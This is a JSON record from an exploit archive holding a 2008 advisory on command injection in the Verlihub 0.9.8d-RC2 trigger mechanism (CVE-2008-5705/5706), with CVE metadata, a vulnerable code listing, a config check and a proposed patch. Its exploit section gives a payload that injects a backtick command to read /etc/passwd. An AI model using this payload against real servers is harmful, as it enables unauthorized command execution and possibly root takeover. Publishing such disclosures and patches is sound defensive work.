{"exploit":{"id":"EDB-7183","name":"verlihub 0.9.8d-RC2 - Remote Command Execution","description":"verlihub 0.9.8d-RC2 - Remote Command Execution","cves":["CVE-2008-5706","CVE-2008-5705"],"author":"v4lkyrius","published":"2008-11-21","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7183","path":"exploits/linux/remote/7183.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7183.txt","vulnerabilities":[{"id":"CVE-2008-5706","state":"PUBLISHED","title":null,"titleSource":null,"description":"The cTrigger::DoIt function in src/ctrigger.cpp in the trigger mechanism in the daemon in Verlihub 0.9.8d-RC2 and earlier allows local users to overwrite arbitrary files via a symlink attack on the /tmp/trigger.tmp temporary file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5706","cvss":{"version":"2.0","baseScore":6.9,"severity":"medium","vectorString":"AV:L/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5706"},"updatedAt":"2024-08-07T11:04:44.183Z","retrievedAt":"2026-11-26T15:14:19.764Z","stale":false,"error":null},{"id":"CVE-2008-5705","state":"PUBLISHED","title":null,"titleSource":null,"description":"The cTrigger::DoIt function in src/ctrigger.cpp in the trigger mechanism in the daemon in Verlihub 0.9.8d-RC2 and earlier, when user triggers are enabled, allows remote attackers to execute arbitrary commands via shell metacharacters in an argument.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5705","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5705"},"updatedAt":"2024-08-07T11:04:43.752Z","retrievedAt":"2026-11-26T15:06:40.718Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7183.png?v=2","url":"https://exploitbin.com/exploits/EDB-7183","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7183/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7183/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"== verlihub <=0.9.8d-RC2 remote r00t / command execution =======================\n                                                             |     '       /   |\n                                                             /__      ___ (   /\n                                                             \\\\--`-'-|`---\\\\ |\n                                                              |' _/   ` __/ /\n                                                              '._  V    ,--'\n                                                                 '_:_._/\n\ndescription:--------------------------------------------------------------------\n  \"Verlihub  is a Direct Connect protocol server; runs on Linux OS; written in\n  C++.\"\n    -- <http://www.verlihub-project.org/>\n\n  Verlihub  does not sanitize user input passed to the shell via its \"trigger\"\n  mechanism.  Furthermore, the Verlihub daemon can optionally be configured to\n  run  as  root.  This allows for the arbitrary execution of commands by users\n  connected  to  the  hub  and,  in  the  case  of the daemon running as root,\n  complete commandeering of the machine.\n\n    -- Code Listing: src/ctrigger.cpp : cTrigger::DoIt() -------------------\n      106  string command(buf);                                        :\n      107  filename = server.mConfigBaseDir;                          ,:\n      108  filename.append(\"/tmp/trigger.tmp\");                    | /  \\ |\n      109  command.append(\" > \");                                 \\_\\\\  //_/\n      110  command.append(filename);                               .'/()\\'.\n      111  cout << command << endl;                                 \\\\  //\n      112  system(command.c_str());\n    ------------------------------------------------------------------------\n\nvulnerability check:------------------------------------------------------------\n  # grep allow_exec /etc/verlihub/dbconfig\n  allow_exec = 1\n\n  or\n\n  # grep allow_exec $HOME/.verlihub/dbconfig\n  allow_exec = 1\n\nexploit:------------------------------------------------------------------------\n  1. Connect  to  a  hub  with  user  triggers  allowed  and  set up to accept\n     arguments;\n  2. Run a trigger with a specially crafted argument, e.g.:\n       +<trigger> `cat /etc/passwd`\n     where <trigger> is the name of the trigger.\n  3. ...\n\npatch:--------------------------------------------------------------------------\n  $ diff src/ctrigger.cpp src/ctrigger.cpp.new\n  9a10\n  > #include <stdio.h>\n  19a21,33\n  > void strip( char * str, char c )\n  > {\n  >     char * p1 = str;\n  >     while ( *p1++ )\n  >         if( *p1 == c )\n  >         {\n  >             char * p2 = p1;\n  >             while( *p2 && *p2 == c ) { ++p2; }\n  >             if(*p2) { *p1 = *p2; *p2 = c; }\n  >             else { *p1 = '\\0'; break; }\n  >         }\n  > }\n  >\n  107,114c121,145\n  <                               filename = server.mConfigBaseDir;\n  <                               filename.append(\"/tmp/trigger.tmp\");\n  <                               command.append(\" > \");\n  <                               command.append(filename);\n  <                               cout << command << endl;\n  <                               system(command.c_str());\n  <                               buf = \"\";\n  <                               if (!LoadFileInString(filename,buf)) return 0;\n  ---\n  >                                 char buffer[ 1024 ];\n  >                                 FILE * stream;\n  >                                 buf = \"\";\n  >                                 char * cmd = command.c_str();\n  >\n  >                                 strip( cmd, ';'  ); strip( cmd, '\\\"' );\n  >                                 strip( cmd, '\\'' ); strip( cmd, '\\\\' );\n  >                                 strip( cmd, '`'  ); strip( cmd, ':'  );\n  >                                 strip( cmd, '!'  ); strip( cmd, '$'  );\n  >                                 strip( cmd, '{'  ); strip( cmd, '}'  );\n  >                                 strip( cmd, '['  ); strip( cmd, ']'  );\n  >                                 strip( cmd, '&'  ); strip( cmd, '>'  );\n  >                                 strip( cmd, '<'  ); strip( cmd, '|'  );\n  >                                 strip( cmd, '~'  ); strip( cmd, '/'  );\n  >\n  >                                 cout << cmd << endl;\n  >                                 stream = popen( cmd, \"r\" );\n  >                                 if ( stream == NULL )\n  >                                     perror( NULL );\n  >                                 else\n  >                                     while( fgets( buffer, 1024, stream )\n  >                                            != NULL )\n  >                                         buf.append( buffer );\n  >                                 if ( pclose( stream ) == -1 )\n  >                                     perror( NULL );\n\n== eof ======================================== by v4lkyrius at gmail dot com ==\n\n# milw0rm.com [2008-11-21]","sha256":"4cabe0da867126e39d3befc8200ae2a2e73b20aba1a472628a1e81ace3fadc35","bytes":4945,"fetchedAt":"2026-11-26T15:06:36.030Z","encoding":"utf-8 (display only; download retains original bytes)"}